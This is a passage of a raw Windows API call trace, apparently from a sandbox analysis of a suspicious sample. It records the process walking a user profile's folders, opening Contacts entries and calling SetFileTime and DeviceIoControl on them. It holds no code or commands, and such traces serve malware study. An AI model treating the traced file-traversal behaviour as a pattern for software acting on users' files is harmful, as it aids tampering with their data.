ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="")) returned 1 [0090.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4bb8 [0090.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.515] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="")) returned 1 [0090.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4bd8 [0090.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0090.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.517] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="")) returned 1 [0090.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0090.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4bf8 [0090.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="")) returned 1 [0090.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0090.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4c18 [0090.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.522] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="")) returned 1 [0090.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4c38 [0090.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c6a8 [0090.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0090.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4c58 [0090.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f797f10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f797f10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0090.526] GetLastError () returned 0x12 [0090.526] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9180 [0090.526] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="")) returned 1 [0090.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.527] GetLastError () returned 0x5 [0090.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.528] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.528] GetLastError () returned 0x5 [0090.528] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.528] GetLastError () returned 0x5 [0090.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.529] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0090.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.529] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.530] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.530] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.530] NtClose (Handle=0x16c) returned 0x0 [0090.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.531] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0090.532] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.533] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="")) returned 1 [0090.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4c78 [0090.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efe70 [0090.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="")) returned 1 [0090.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4c98 [0090.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efef8 [0090.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.536] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="")) returned 1 [0090.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4cb8 [0090.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eff80 [0090.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9600) returned 0x135c9e8 [0090.538] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", 